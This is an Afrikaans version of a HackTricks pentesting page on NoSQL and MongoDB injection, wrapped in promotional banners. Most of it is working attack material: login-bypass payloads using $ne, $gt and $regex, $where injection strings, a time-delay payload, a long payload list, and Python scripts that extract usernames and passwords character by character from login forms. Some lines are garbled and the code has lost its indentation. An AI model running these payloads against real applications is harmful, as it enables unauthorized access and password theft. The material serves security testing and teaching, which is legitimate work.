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hacktricks/pentesting-web/nosql-injection.md

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NoSQL inspuiting


Gebruik Trickest om maklik te bou en outomatiseer werkstrome aangedryf deur die wêreld se mees gevorderde gemeenskaplike gereedskap.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Uitbuiting

In PHP kan jy 'n Array stuur deur die gestuurde parameter te verander van parameter=foo na parameter[arrNaam]=foo.

Die uitbuitings is gebaseer op die byvoeging van 'n Operateur:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basiese verifikasie omseil

Deur nie gelyk ($ne) of groter ($gt) te gebruik

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

'n Aanvaller kan dit uitbuit deur strings soos admin' || 'a'=='a in te voer, wat die navraag laat terugkeer deur al die dokumente te bevredig deur die voorwaarde met 'n tautologie ('a'=='a) te bevredig. Dit is analogies aan SQL-injeksie aanvalle waar insette soos ' of 1=1-- - gebruik word om SQL-navrae te manipuleer. In MongoDB kan soortgelyke inspuitings gedoen word deur insette soos ' || 1==1//, ' || 1==1%00, of admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Haal lengte inligting uit

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Haal data-inligting uit

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Willekeurige Funksie Uitvoering

Deur die gebruik van die $func operator van die MongoLite biblioteek (standaard gebruik) is dit moontlik om 'n willekeurige funksie uit te voer soos in hierdie verslag.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Kry inligting vanaf verskillende versamelings

Dit is moontlik om $lookup te gebruik om inligting vanaf 'n ander versameling te kry. In die volgende voorbeeld lees ons vanaf 'n ander versameling genaamd users en kry die resultate van al die inskrywings met 'n wagwoord wat ooreenstem met 'n wild card.

NOTA: $lookup en ander aggregasiefunksies is slegs beskikbaar as die aggregate()-funksie gebruik is om die soektog uit te voer in plaas van die meer algemene find() of findOne()-funksies.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Gebruik Trickest om maklik werkstrome te bou en outomatiseer met die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

MongoDB Aanvalle

Lys van hier

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blinde NoSQL-skrip

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login gebruikersname en wagwoorde van POST-aanmelding

Dit is 'n eenvoudige skripsie wat jy kan wysig, maar die vorige gereedskap kan ook hierdie taak verrig.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Gereedskap

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:


Gebruik Trickest om maklik werkvloeie te bou en outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}